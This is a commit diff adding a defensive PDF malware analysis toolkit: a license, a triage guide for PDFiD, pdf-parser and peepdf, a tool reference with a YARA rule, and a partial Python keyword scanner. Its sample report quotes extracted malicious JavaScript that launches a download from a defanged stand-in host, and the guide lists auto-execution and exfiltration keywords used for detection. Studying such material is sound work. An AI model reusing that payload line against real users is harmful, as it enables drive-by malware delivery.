reverse-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,357 @@
|
||||
---
|
||||
name: analyzing-pdf-malware-with-pdfid
|
||||
description: 'Analyzes malicious PDF files using PDFiD, pdf-parser, and peepdf to
|
||||
identify embedded JavaScript, shellcode, exploits, and suspicious objects without
|
||||
opening the document. Determines the attack vector and extracts embedded payloads
|
||||
for further analysis. Activates for requests involving PDF malware analysis, malicious
|
||||
document analysis, PDF exploit investigation, or suspicious attachment triage.
|
||||
|
||||
'
|
||||
domain: cybersecurity
|
||||
subdomain: malware-analysis
|
||||
tags:
|
||||
- malware
|
||||
- PDF-analysis
|
||||
- document-malware
|
||||
- PDFiD
|
||||
- static-analysis
|
||||
version: 1.0.0
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- DE.AE-02
|
||||
- RS.AN-03
|
||||
- ID.RA-01
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1204.002
|
||||
- T1566.001
|
||||
- T1059.007
|
||||
- T1027
|
||||
---
|
||||
|
||||
# Analyzing PDF Malware with PDFiD
|
||||
|
||||
## When to Use
|
||||
|
||||
- A suspicious PDF attachment has been flagged by email security or reported by a user
|
||||
- You need to determine if a PDF contains embedded JavaScript, shellcode, or exploit code
|
||||
- Triaging PDF documents before opening them in a sandbox or analysis environment
|
||||
- Extracting embedded executables, scripts, or URLs from malicious PDF objects
|
||||
- Analyzing PDF exploit kits targeting Adobe Reader or other PDF viewer vulnerabilities
|
||||
|
||||
**Do not use** for analyzing the rendered visual content of a PDF; this is for structural analysis of the PDF file format for malicious objects.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Python 3.8+ with Didier Stevens' PDF tools installed (`pip install pdfid pdf-parser`)
|
||||
- peepdf installed for interactive PDF analysis (`pip install peepdf`)
|
||||
- pdftotext from poppler-utils for extracting text content safely
|
||||
- YARA with PDF-specific rules for malware family identification
|
||||
- Isolated analysis VM without a PDF reader installed (prevent accidental opening)
|
||||
- CyberChef for decoding embedded Base64, hex, or deflate streams
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Initial Triage with PDFiD
|
||||
|
||||
Scan the PDF for suspicious keywords and structures:
|
||||
|
||||
```bash
|
||||
# Run PDFiD to identify suspicious elements
|
||||
pdfid suspect.pdf
|
||||
|
||||
# Expected output analysis:
|
||||
# /JS - JavaScript (HIGH risk)
|
||||
# /JavaScript - JavaScript object (HIGH risk)
|
||||
# /AA - Auto-Action triggered on open (HIGH risk)
|
||||
# /OpenAction - Action on document open (HIGH risk)
|
||||
# /Launch - Launch external application (HIGH risk)
|
||||
# /EmbeddedFile - Embedded file (MEDIUM risk)
|
||||
# /RichMedia - Flash content (MEDIUM risk)
|
||||
# /ObjStm - Object stream (used for obfuscation)
|
||||
# /URI - URL reference (contextual risk)
|
||||
# /AcroForm - Interactive form (MEDIUM risk)
|
||||
|
||||
# Run with extra detail
|
||||
pdfid -e suspect.pdf
|
||||
|
||||
# Run with disarming (rename suspicious keywords)
|
||||
pdfid -d suspect.pdf
|
||||
```
|
||||
|
||||
```
|
||||
PDFiD Risk Assessment:
|
||||
━━━━━━━━━━━━━━━━━━━━━
|
||||
HIGH RISK indicators (any count > 0):
|
||||
/JS, /JavaScript -> Embedded JavaScript code
|
||||
/AA -> Automatic Action (triggers without user interaction)
|
||||
/OpenAction -> Code runs when document is opened
|
||||
/Launch -> Can launch external executables
|
||||
/JBIG2Decode -> Associated with CVE-2009-0658 exploit
|
||||
|
||||
MEDIUM RISK indicators:
|
||||
/EmbeddedFile -> Contains embedded files (could be EXE/DLL)
|
||||
/RichMedia -> Flash/multimedia (Flash exploits)
|
||||
/AcroForm -> Form with possible submit action
|
||||
/XFA -> XML Forms Architecture (complex attack surface)
|
||||
|
||||
LOW RISK indicators:
|
||||
/ObjStm -> Object streams (obfuscation technique)
|
||||
/URI -> External URL references
|
||||
/Page -> Number of pages (context only)
|
||||
```
|
||||
|
||||
### Step 2: Parse PDF Structure with pdf-parser
|
||||
|
||||
Examine suspicious objects identified by PDFiD:
|
||||
|
||||
```bash
|
||||
# List all objects referencing JavaScript
|
||||
pdf-parser --search "/JavaScript" suspect.pdf
|
||||
pdf-parser --search "/JS" suspect.pdf
|
||||
|
||||
# List all objects with OpenAction
|
||||
pdf-parser --search "/OpenAction" suspect.pdf
|
||||
|
||||
# Extract a specific object by ID (example: object 5)
|
||||
pdf-parser --object 5 suspect.pdf
|
||||
|
||||
# Extract and decompress stream content
|
||||
pdf-parser --object 5 --filter --raw suspect.pdf
|
||||
|
||||
# Search for embedded files
|
||||
pdf-parser --search "/EmbeddedFile" suspect.pdf
|
||||
|
||||
# List all objects with their types
|
||||
pdf-parser --stats suspect.pdf
|
||||
```
|
||||
|
||||
### Step 3: Extract and Analyze Embedded JavaScript
|
||||
|
||||
Pull out JavaScript code from PDF objects:
|
||||
|
||||
```bash
|
||||
# Extract JavaScript using pdf-parser
|
||||
pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt
|
||||
|
||||
# Alternative: Use peepdf for interactive JavaScript extraction
|
||||
peepdf -f -i suspect.pdf << 'EOF'
|
||||
js_analyse
|
||||
EOF
|
||||
|
||||
# peepdf interactive commands for JS analysis:
|
||||
# js_analyse - Extract and show all JavaScript code
|
||||
# js_beautify - Format extracted JavaScript
|
||||
# js_eval <object> - Evaluate JavaScript in sandboxed environment
|
||||
# object <id> - Display object content
|
||||
# rawobject <id> - Display raw object bytes
|
||||
# stream <id> - Display decompressed stream
|
||||
# offsets - Show object offsets in file
|
||||
```
|
||||
|
||||
```python
|
||||
# Python script for comprehensive PDF JavaScript extraction
|
||||
import subprocess
|
||||
import re
|
||||
|
||||
# Extract all streams and search for JavaScript
|
||||
result = subprocess.run(
|
||||
["pdf-parser", "--stats", "suspect.pdf"],
|
||||
capture_output=True, text=True
|
||||
)
|
||||
|
||||
# Find object IDs containing JavaScript references
|
||||
js_objects = []
|
||||
for line in result.stdout.split('\n'):
|
||||
if '/JavaScript' in line or '/JS' in line:
|
||||
obj_id = re.search(r'obj (\d+)', line)
|
||||
if obj_id:
|
||||
js_objects.append(obj_id.group(1))
|
||||
|
||||
# Extract each JavaScript-containing object
|
||||
for obj_id in js_objects:
|
||||
result = subprocess.run(
|
||||
["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"],
|
||||
capture_output=True, text=True
|
||||
)
|
||||
print(f"\n=== Object {obj_id} ===")
|
||||
print(result.stdout[:2000])
|
||||
```
|
||||
|
||||
### Step 4: Analyze Embedded Shellcode
|
||||
|
||||
Extract and examine shellcode from PDF exploits:
|
||||
|
||||
```bash
|
||||
# Extract raw stream data for shellcode analysis
|
||||
pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf
|
||||
|
||||
# Analyze shellcode with scdbg (shellcode debugger)
|
||||
scdbg /f shellcode.bin
|
||||
|
||||
# Alternative: Use speakeasy for shellcode emulation
|
||||
python3 -c "
|
||||
import speakeasy
|
||||
|
||||
se = speakeasy.Speakeasy()
|
||||
sc_addr = se.load_shellcode('shellcode.bin', arch='x86')
|
||||
se.run_shellcode(sc_addr, count=1000)
|
||||
|
||||
# Review API calls made by shellcode
|
||||
for event in se.get_report()['api_calls']:
|
||||
print(f\"{event['api']}: {event['args']}\")
|
||||
"
|
||||
|
||||
# Use CyberChef to decode hex/base64 encoded shellcode
|
||||
# Input: Extracted stream data
|
||||
# Recipe: From Hex -> Disassemble x86
|
||||
```
|
||||
|
||||
### Step 5: Extract Embedded Files and URLs
|
||||
|
||||
Pull out embedded executables and linked resources:
|
||||
|
||||
```python
|
||||
# Extract embedded files from PDF
|
||||
import subprocess
|
||||
import hashlib
|
||||
|
||||
# Find embedded file objects
|
||||
result = subprocess.run(
|
||||
["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"],
|
||||
capture_output=True
|
||||
)
|
||||
|
||||
# Extract embedded PE files by searching for MZ header
|
||||
with open("suspect.pdf", "rb") as f:
|
||||
data = f.read()
|
||||
|
||||
# Search for embedded PE files
|
||||
offset = 0
|
||||
while True:
|
||||
pos = data.find(b'MZ', offset)
|
||||
if pos == -1:
|
||||
break
|
||||
# Verify PE signature
|
||||
if pos + 0x3C < len(data):
|
||||
pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')
|
||||
if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':
|
||||
print(f"Embedded PE found at offset 0x{pos:X}")
|
||||
# Extract (estimate size or use PE header)
|
||||
embedded = data[pos:pos+100000] # Initial extraction
|
||||
sha256 = hashlib.sha256(embedded).hexdigest()
|
||||
with open(f"embedded_{pos:X}.exe", "wb") as out:
|
||||
out.write(embedded)
|
||||
print(f" SHA-256: {sha256}")
|
||||
offset = pos + 1
|
||||
|
||||
# Extract URLs from PDF
|
||||
result = subprocess.run(
|
||||
["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"],
|
||||
capture_output=True, text=True
|
||||
)
|
||||
urls = re.findall(r'(https?://[^\s<>"]+)', result.stdout)
|
||||
for url in set(urls):
|
||||
print(f"URL: {url}")
|
||||
```
|
||||
|
||||
### Step 6: Generate Analysis Report
|
||||
|
||||
Document all findings from the PDF analysis:
|
||||
|
||||
```
|
||||
Analysis should cover:
|
||||
- PDFiD triage results (suspicious keyword counts)
|
||||
- PDF structure anomalies (object streams, cross-reference issues)
|
||||
- Extracted JavaScript code (deobfuscated if needed)
|
||||
- Shellcode analysis results (API calls, network indicators)
|
||||
- Embedded files extracted with hashes
|
||||
- URLs and external references
|
||||
- CVE identification if a known exploit is detected
|
||||
- YARA rule matches against known PDF malware families
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| **PDF Object** | Basic building block of a PDF file; objects can contain streams (compressed data), dictionaries, arrays, and references to other objects |
|
||||
| **OpenAction** | PDF dictionary entry specifying an action to execute when the document is opened; commonly used to trigger JavaScript exploits |
|
||||
| **PDF Stream** | Compressed data within a PDF object that can contain JavaScript, images, embedded files, or shellcode; typically FlateDecode compressed |
|
||||
| **FlateDecode** | Zlib/deflate compression filter applied to PDF streams; must be decompressed to analyze contents |
|
||||
| **ObjStm (Object Stream)** | PDF feature storing multiple objects within a single compressed stream; used by malware to hide suspicious objects from simple parsers |
|
||||
| **JBIG2** | Image compression standard in PDFs; historical source of exploits (CVE-2009-0658, CVE-2021-30860 FORCEDENTRY) |
|
||||
| **PDF JavaScript API** | Adobe-specific JavaScript extensions available in PDF documents for form manipulation, network access, and OS interaction |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **PDFiD**: Didier Stevens' tool for scanning PDF documents for suspicious keywords and structures without parsing the full document
|
||||
- **pdf-parser**: Companion tool to PDFiD for detailed PDF object extraction, stream decompression, and content analysis
|
||||
- **peepdf**: Python-based PDF analysis tool providing interactive shell for object inspection and JavaScript extraction
|
||||
- **QPDF**: PDF transformation tool for linearizing, decrypting, and restructuring PDFs for easier analysis
|
||||
- **scdbg**: Shellcode analysis tool that emulates x86 shellcode execution and logs API calls
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: Triaging a Phishing PDF with Embedded JavaScript
|
||||
|
||||
**Context**: Email gateway flagged a PDF attachment with suspicious JavaScript indicators. The security team needs to determine if it contains an exploit or a social engineering redirect.
|
||||
|
||||
**Approach**:
|
||||
1. Run PDFiD to confirm /JS, /JavaScript, and /OpenAction presence and counts
|
||||
2. Use pdf-parser to extract the OpenAction object and follow its reference chain
|
||||
3. Extract the JavaScript code from the referenced stream object (apply FlateDecode filter)
|
||||
4. Deobfuscate the JavaScript (decode hex strings, resolve eval chains)
|
||||
5. Determine if the script exploits a PDF reader vulnerability (check for heap spray, ROP chains) or performs a redirect
|
||||
6. Extract all URLs, IPs, and embedded files as IOCs
|
||||
7. Classify the sample: exploit (specific CVE) or social engineering (redirect/phishing)
|
||||
|
||||
**Pitfalls**:
|
||||
- Opening the PDF in a standard reader instead of analyzing it with command-line tools
|
||||
- Missing JavaScript hidden inside Object Streams (/ObjStm) that PDFiD detects but simple parsers miss
|
||||
- Not decompressing streams before analysis (FlateDecode, ASCIIHexDecode, ASCII85Decode filters)
|
||||
- Assuming the absence of /JS means no JavaScript; code can be embedded in form fields (/AcroForm with /XFA)
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
PDF MALWARE ANALYSIS REPORT
|
||||
==============================
|
||||
File: invoice_2025.pdf
|
||||
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
|
||||
File Size: 45,312 bytes
|
||||
PDF Version: 1.7
|
||||
|
||||
PDFID TRIAGE
|
||||
/JS: 1 [HIGH RISK]
|
||||
/JavaScript: 1 [HIGH RISK]
|
||||
/OpenAction: 1 [HIGH RISK]
|
||||
/EmbeddedFile: 0
|
||||
/Launch: 0
|
||||
/URI: 2
|
||||
/Page: 1
|
||||
/ObjStm: 1 [OBFUSCATION]
|
||||
|
||||
SUSPICIOUS OBJECTS
|
||||
Object 5: /OpenAction -> references Object 8
|
||||
Object 8: /JavaScript stream (FlateDecode, 2,847 bytes decompressed)
|
||||
Object 12: /ObjStm containing objects 15-18
|
||||
|
||||
EXTRACTED JAVASCRIPT
|
||||
Layer 1: eval(unescape("%68%65%6C%6C%6F"))
|
||||
Layer 2: var url = "hxxp://malicious[.]com/payload.exe";
|
||||
app.launchURL(url, true);
|
||||
// Social engineering redirect, not exploit
|
||||
|
||||
EXTRACTED IOCs
|
||||
URLs: hxxp://malicious[.]com/payload.exe
|
||||
hxxps://fake-login[.]com/adobe/verify
|
||||
Domains: malicious[.]com, fake-login[.]com
|
||||
|
||||
CLASSIFICATION
|
||||
Type: Social Engineering (URL redirect)
|
||||
CVE: None (no exploit code detected)
|
||||
Risk: HIGH (downloads executable payload)
|
||||
Family: Generic PDF Dropper
|
||||
```
|
||||
@@ -0,0 +1,119 @@
|
||||
# API Reference: PDF Malware Analysis Tools
|
||||
|
||||
## PDFiD - PDF Keyword Scanner
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
pdfid.py document.pdf
|
||||
pdfid.py -n document.pdf # Show all keywords (including zero counts)
|
||||
pdfid.py -e document.pdf # Extra data (entropy)
|
||||
pdfid.py -f document.pdf # Force scan (ignore header)
|
||||
```
|
||||
|
||||
### Suspicious Keywords
|
||||
| Keyword | Risk | Description |
|
||||
|---------|------|-------------|
|
||||
| `/JS` | HIGH | JavaScript code |
|
||||
| `/JavaScript` | HIGH | JavaScript action |
|
||||
| `/AA` | HIGH | Additional Actions (auto-execute) |
|
||||
| `/OpenAction` | HIGH | Action on document open |
|
||||
| `/Launch` | HIGH | Launch external application |
|
||||
| `/EmbeddedFile` | MEDIUM | Embedded file object |
|
||||
| `/AcroForm` | MEDIUM | Interactive form |
|
||||
| `/JBIG2Decode` | HIGH | JBIG2 exploit vector (CVE-2009-0658) |
|
||||
| `/RichMedia` | MEDIUM | Flash/multimedia content |
|
||||
| `/XFA` | MEDIUM | XML Forms (script capable) |
|
||||
| `/ObjStm` | LOW | Object streams (can hide objects) |
|
||||
|
||||
### Output Format
|
||||
```
|
||||
PDF Header: %PDF-1.7
|
||||
obj 45
|
||||
endobj 45
|
||||
stream 12
|
||||
/JS 2
|
||||
/JavaScript 1
|
||||
/OpenAction 1
|
||||
/EmbeddedFile 0
|
||||
```
|
||||
|
||||
## pdf-parser.py - PDF Object Parser
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
pdf-parser.py document.pdf # List all objects
|
||||
pdf-parser.py -o 5 document.pdf # Show object 5
|
||||
pdf-parser.py -s "/JS" document.pdf # Search for keyword
|
||||
pdf-parser.py -f document.pdf # Filter streams
|
||||
pdf-parser.py -c document.pdf # Show raw content
|
||||
pdf-parser.py -d 5 document.pdf # Dump stream of object 5
|
||||
pdf-parser.py --object 5 --filter document.pdf # Decompress stream
|
||||
```
|
||||
|
||||
## peepdf - Interactive PDF Analysis
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
peepdf -i document.pdf # Interactive mode
|
||||
peepdf -f document.pdf # Force analysis
|
||||
peepdf -l document.pdf # Loose mode
|
||||
```
|
||||
|
||||
### Interactive Commands
|
||||
```
|
||||
info # Document summary
|
||||
tree # Object tree
|
||||
object 5 # Show object
|
||||
stream 5 # Show stream content
|
||||
js_analyse # Analyze all JavaScript
|
||||
extract js > output.js # Extract JavaScript
|
||||
```
|
||||
|
||||
## Known PDF Exploit CVEs
|
||||
|
||||
| CVE | Component | Description |
|
||||
|-----|-----------|-------------|
|
||||
| CVE-2009-0658 | JBIG2Decode | Buffer overflow in JBIG2 decoder |
|
||||
| CVE-2009-0927 | Collab.getIcon | JavaScript method exploit |
|
||||
| CVE-2008-2992 | util.printf | Format string vulnerability |
|
||||
| CVE-2010-0188 | LibTIFF | TIFF image processing overflow |
|
||||
| CVE-2013-0640 | XFA | XML Forms Architecture exploit |
|
||||
| CVE-2018-4990 | EmbeddedFile | Double-free in embedded files |
|
||||
|
||||
## YARA Rules for PDF Malware
|
||||
|
||||
### Example Rule
|
||||
```yara
|
||||
rule PDF_Suspicious {
|
||||
meta:
|
||||
description = "PDF with JavaScript and auto-execution"
|
||||
strings:
|
||||
$pdf = "%PDF-"
|
||||
$js = "/JS" nocase
|
||||
$openaction = "/OpenAction"
|
||||
$launch = "/Launch"
|
||||
condition:
|
||||
$pdf at 0 and ($js and $openaction) or $launch
|
||||
}
|
||||
```
|
||||
|
||||
## Python PDF Libraries
|
||||
|
||||
### PyPDF2
|
||||
```python
|
||||
from PyPDF2 import PdfReader
|
||||
reader = PdfReader("document.pdf")
|
||||
print(len(reader.pages))
|
||||
for page in reader.pages:
|
||||
print(page.extract_text())
|
||||
```
|
||||
|
||||
### pikepdf
|
||||
```python
|
||||
import pikepdf
|
||||
pdf = pikepdf.open("document.pdf")
|
||||
for obj_num in pdf.objects:
|
||||
obj = pdf.get_object(obj_num)
|
||||
if "/JS" in str(obj):
|
||||
print(f"JavaScript in object {obj_num}")
|
||||
```
|
||||
@@ -0,0 +1,240 @@
|
||||
#!/usr/bin/env python3
|
||||
"""PDF malware analysis agent using pdfid concepts and pdf-parser for object extraction."""
|
||||
|
||||
import re
|
||||
import os
|
||||
import sys
|
||||
import hashlib
|
||||
import zlib
|
||||
|
||||
|
||||
def compute_hash(filepath):
|
||||
"""Compute SHA-256 hash of a file."""
|
||||
sha256 = hashlib.sha256()
|
||||
with open(filepath, "rb") as f:
|
||||
for chunk in iter(lambda: f.read(65536), b""):
|
||||
sha256.update(chunk)
|
||||
return sha256.hexdigest()
|
||||
|
||||
|
||||
PDF_SUSPICIOUS_KEYWORDS = {
|
||||
"/JS": "JavaScript (embedded script execution)",
|
||||
"/JavaScript": "JavaScript action",
|
||||
"/AA": "Additional Actions (auto-execute triggers)",
|
||||
"/OpenAction": "Action on document open",
|
||||
"/AcroForm": "Interactive form (can contain JavaScript)",
|
||||
"/JBIG2Decode": "JBIG2 decoder (CVE-2009-0658 exploit vector)",
|
||||
"/RichMedia": "Rich media / Flash content",
|
||||
"/Launch": "Launch action (execute external file)",
|
||||
"/EmbeddedFile": "Embedded file (potential payload)",
|
||||
"/XFA": "XML Forms Architecture (script execution)",
|
||||
"/URI": "URI action (external link)",
|
||||
"/SubmitForm": "Form submission (data exfiltration)",
|
||||
"/ObjStm": "Object Stream (can hide objects from basic parsers)",
|
||||
}
|
||||
|
||||
|
||||
def scan_pdf_keywords(filepath):
|
||||
"""Scan a PDF file for suspicious keywords similar to pdfid."""
|
||||
with open(filepath, "rb") as f:
|
||||
data = f.read()
|
||||
|
||||
text = data.decode("latin-1", errors="replace")
|
||||
results = {}
|
||||
for keyword, description in PDF_SUSPICIOUS_KEYWORDS.items():
|
||||
count = text.count(keyword)
|
||||
if count > 0:
|
||||
results[keyword] = {"count": count, "description": description}
|
||||
|
||||
# Count standard PDF structure elements
|
||||
structure = {
|
||||
"obj": len(re.findall(r"\d+ \d+ obj", text)),
|
||||
"endobj": text.count("endobj"),
|
||||
"stream": text.count("stream"),
|
||||
"endstream": text.count("endstream"),
|
||||
"xref": text.count("xref"),
|
||||
"trailer": text.count("trailer"),
|
||||
"startxref": text.count("startxref"),
|
||||
"page_count": len(re.findall(r"/Type\s*/Page[^s]", text)),
|
||||
"encrypted": 1 if "/Encrypt" in text else 0,
|
||||
}
|
||||
return results, structure
|
||||
|
||||
|
||||
def extract_pdf_version(filepath):
|
||||
"""Extract the PDF version from the header."""
|
||||
with open(filepath, "rb") as f:
|
||||
header = f.read(20)
|
||||
match = re.search(rb"%PDF-(\d+\.\d+)", header)
|
||||
return match.group(1).decode() if match else "unknown"
|
||||
|
||||
|
||||
def find_stream_objects(filepath):
|
||||
"""Find and extract stream objects from the PDF."""
|
||||
with open(filepath, "rb") as f:
|
||||
data = f.read()
|
||||
|
||||
streams = []
|
||||
pattern = rb"(\d+)\s+(\d+)\s+obj.*?stream\r?\n(.*?)endstream"
|
||||
for match in re.finditer(pattern, data, re.DOTALL):
|
||||
obj_num = int(match.group(1))
|
||||
